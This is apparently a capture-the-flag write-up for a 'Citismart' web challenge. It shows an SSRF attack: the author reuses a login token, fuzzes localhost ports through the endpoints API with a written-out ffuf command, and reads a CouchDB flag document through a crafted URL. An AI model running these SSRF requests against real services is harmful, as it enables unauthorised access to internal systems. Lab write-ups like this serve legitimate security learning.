
Overview
Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths.
📝 Related Bug Bounty Reports
First Look
So we are working with a webapp with a traditional api. Checking the js source code gives us an idea of its routes:
- me: "/api/auth/me",
- login: "/api/auth/login",
- logout: "/api/auth/logout",
- dashboard: "/api/dashboard/endpoints",
- dashboardDelete: "/api/dashboard/endpoints/",
- dashboardData: "/api/dashboard/metrics"
Login
When we send a request to login we can see in the response that it tries to set a token as a cookie. Grabbing that token and putting it in our cookies and we now have access to the webapp at /dashboard!
POST /api/auth/login HTTP/1.1
Host: 83.136.249.246:32106
Content-Length: 70
Content-Type: application/json
{"email":"support@citismart.com","password":"asdaasdasdadasdasdasdas"}
SSRF
Ok now we see that we can add endpoints via a post request to the route /api/dashboard/endpoints/ and we can also see the response with /api/dashboard/metrics.
From there we can try to get a call back on our machine to confirm the ssrf. We can see that it does make a call back to us and it appends /metrics to the endpoint we provide.
We can ignore the /metrics by adding a query parameter in our endpoint ie: http://google.com/?test=
We also see that there is a lot of machine from the 192.168.100.x subnet but nothing interesting in there. Now we try fuzzing the localhost for interesting ports:
ffuf -x http://127.0.0.1:8081 -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImFkbWluIjpmYWxzZSwiaWF0IjoxNzUxMTcxMzA2LCJleHAiOjE3NTExNzQ5MDZ9.B3q0N17C7EkgJ6bH3HWLaB-TL5xGowxzqCQ4ylbod9g' -X POST -u http://94.237.50.221:49649/api/dashboard/endpoints -H 'Content-Type: application/json' -d '{"url":"http://127.0.0.1:FUZZ/","sector":"test"}' -w ./ports2.txt -fr 'ECONNREFUSED'
NOTE: I used to filter by code by habits but make sure to filter for regex with the 'ECONNREFUSED' string, or you could just check the timing of the response
Which gives us these open ports:
- 80 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 136ms]
- 3000 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 146ms]
- 4369 [Status: 500, Size: 45, Words: 3, Lines: 1, Duration: 111ms]
- 5000 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 107ms]
- 5984 [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 102ms]
- 35517 [Status: 500, Size: 57, Words: 4, Lines: 1, Duration: 5095ms]
Getting the flag
Based on these ports we try connecting to all of them and we see that the port 5984 is hosting a couchDB instance. I have never worked with it so little google search and a bit of hacktricks.
We can see that we can list the tables which shows a citismart table being active. We can list the documents in the table and we see the FLAG document.
Let's try getting that document then!
POST /api/dashboard/endpoints HTTP/1.1
Host: 94.237.50.221:49649
User-Agent: Fuzz Faster U Fool v2.1.0-dev
Content-Length: 71
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImFkbWluIjpmYWxzZSwiaWF0IjoxNzUxMTcxMzA2LCJleHAiOjE3NTExNzQ5MDZ9.B3q0N17C7EkgJ6bH3HWLaB-TL5xGowxzqCQ4ylbod9g
{"url":"[http://localtest.me:5984/citismart/FLAG?test=","sector":"test](http://localtest.me:5984/citismart/FLAG?test=%22,%22sector%22:%22test)"}
We simply add the document to the endpoint and it returns back the flag at /api/dashboard/metrics